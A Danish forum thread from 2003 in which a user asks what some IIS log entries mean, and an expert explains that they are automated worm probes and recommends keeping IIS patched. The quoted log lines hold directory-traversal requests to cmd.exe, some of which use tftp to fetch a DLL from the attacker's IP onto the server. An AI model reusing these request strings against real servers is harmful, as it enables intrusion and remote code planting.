Søg
Avatar billede tpf Nybegynder
24. februar 2003 - 22:18 Der er 6 kommentarer og
1 løsning

log fil IIS tydning af indhold

hej kan nogen tyde denne smøre, og sige mig hvad det er for en handling der sker.

Det efterfølgende er et uddrag af en IIS log fil over aktivitet på mit web sted.

2003-02-25 05:23:59 80.198.34.171 - W3SVC1 REX 192.168.3.31 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 200 0 1630 96 30 HTTP/1.0 www - - -
2003-02-25 05:24:00 80.198.34.171 - W3SVC1 REX 192.168.3.31 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%2080.198.34.171%20GET%20cool.dll%20c:\httpodbc.dll 502 0 355 153 30 HTTP/1.0 www - - -
2003-02-25 05:24:00 80.198.34.171 - W3SVC1 REX 192.168.3.31 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%2080.198.34.171%20GET%20cool.dll%20d:\httpodbc.dll 502 0 355 153 40 HTTP/1.0 www - - -
2003-02-25 05:24:00 80.198.34.171 - W3SVC1 REX 192.168.3.31 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%2080.198.34.171%20GET%20cool.dll%20e:\httpodbc.dll 502 0 355 153 40 HTTP/1.0 www - - -
2003-02-25 05:24:00 80.198.34.171 - W3SVC1 REX 192.168.3.31 80 GET /scripts/..%2f../httpodbc.dll - 500 126 0 79 0 HTTP/1.0 www - - -
Avatar billede arne_v Ekspert
24. februar 2003 - 22:30 #1
Ja der er en maskine med IP 80.198.34.171 der er inficeret
med et eller andet virus/orm, som forsøger at se om din
maskine er sårbar !
Avatar billede arne_v Ekspert
24. februar 2003 - 22:32 #2
Ikke nogen speciel grund til panik - de fleste der har en web-server
forbundet til internet får et par hundrede af dem om dagen.

Men du skal naturligvis sørge for at hold edin IIS *helt* uptodate
med security patche.

Eller så kan vil din IP snart optræde i diverse log-filer.
Avatar billede tpf Nybegynder
24. februar 2003 - 22:47 #3
Hej Arne_v tak for dit svar og din kommentar.

disse orm bruger de port 80, og hvorfra ved  80.198.34.171 fra at der er en server her? kan det være fordi min ip ligger inden for samme scoop som den anden?

med venlig hilsen

Thomas
Avatar billede arne_v Ekspert
24. februar 2003 - 22:54 #4
Ja - de bruger port 90 (standard HTTP).

Nej - de behøver ikke ligge tæt på dig IP-mæssigt.

Jeg tror de forsøger sig frem systematisk og finder
de steder hvor en server svarer.

Jeg for de requests fra flere lande.
Avatar billede arne_v Ekspert
24. februar 2003 - 22:56 #5
Danmark, Frankrig, Rusland, Tyskland, England, Spanien etc.etc..
Avatar billede arne_v Ekspert
24. februar 2003 - 22:57 #6
Hov slag fejl.

Jeg mener naturligvis:
  Ja - de bruger port 80 (standard HTTP).
Avatar billede tpf Nybegynder
24. februar 2003 - 22:58 #7
tak for din interresse jeg sover nu lidt mere trygt i nat.

Thomas
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Se alle it-kurser fra Computerworld Kurser
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.
Se alle it-kurser

Flere spørgsmål fra Windows kategorien

Titel Indlæg Oprettet Seneste aktivitet
Bitlocker Af nico i Windows 1 I går 16:59 I dag 06:47
Wlan i windows 11 home Af dcedata1977 i Windows 6 12/11/202616:30 I går 13:42
Irriterende ikon på proceslinjen Af ErikHg i Windows 6 11/11/202621:19 12/11/202617:12
Kan man slippe af med "msn" ? Af Ikke-ekspert i Windows 6 11/11/202616:33 12/11/202619:44
Download af Win 11 vi aRufus Af lbc i Windows 4 30/10/202614:06 02/11/202612:40
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
I dag 08:39 Produktnøgle Af hkv i Office & Kontorpakker
I går 16:59 Bitlocker Af nico i Windows
12/1116:30 Wlan i windows 11 home Af dcedata1977 i Windows
11/1121:19 Irriterende ikon på proceslinjen Af ErikHg i Windows
11/1116:33 Kan man slippe af med "msn" ? Af Ikke-ekspert i Windows
White papers
Flere white papers »